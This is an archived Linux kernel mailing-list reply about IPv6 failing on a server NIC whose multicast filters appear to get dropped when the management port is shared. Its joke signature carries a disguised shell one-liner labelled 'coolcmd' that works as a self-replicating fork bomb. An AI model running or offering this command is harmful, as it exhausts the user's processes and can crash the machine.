linux-kernel - Re: BUG: IPv6 stops working after a while, needs ip ne del command to reset

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Message-ID: <alpine.DEB.1.10.1009142134440.25664@red.crap.retrofitta.se>
Date:	Tue, 14 Sep 2010 21:56:16 +0200 (CEST)
From:	Thomas Habets <thomas@...ets.pp.se>
To:	Brian Haley <brian.haley@...com>
cc:	Matt Carlson <mcarlson@...adcom.com>,
	Eric Dumazet <eric.dumazet@...il.com>,
	"linux-kernel@...r.kernel.org" <linux-kernel@...r.kernel.org>,
	netdev <netdev@...r.kernel.org>,
	Michael Chan <mchan@...adcom.com>
Subject: Re: BUG: IPv6 stops working after a while, needs ip ne del command
 to reset


Sorry for the late reply. I've been swamped.

On Wed, 1 Sep 2010, Brian Haley wrote:
> So are you running with this set to "Shared Network Port" mode?  I'm
> guessing you are.

Yes, there's no dedicated ILO port.

> There was another report on netdev back in 11/2008 on this exact hardware,
> with the same problem.

I can't seem to find it. Do you happen to have the subject line or 
something?

> I dug-up my notes on the problem, and from what I can tell, the receive
> multicast filters on the NIC were getting removed, causing both incoming
> IPv6 and IPv4 multicast packets to get dropped.

Sounds about right. From what I understand the relevant registers were 
still the same for me when it wasn't working though (if that indeed is 
how the filter is implemented).

---------
typedef struct me_s {
   char name[]      = { "Thomas Habets" };
   char email[]     = { "thomas@...ets.pp.se" };
   char kernel[]    = { "Linux" };
   char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt" };
   char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
   char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;
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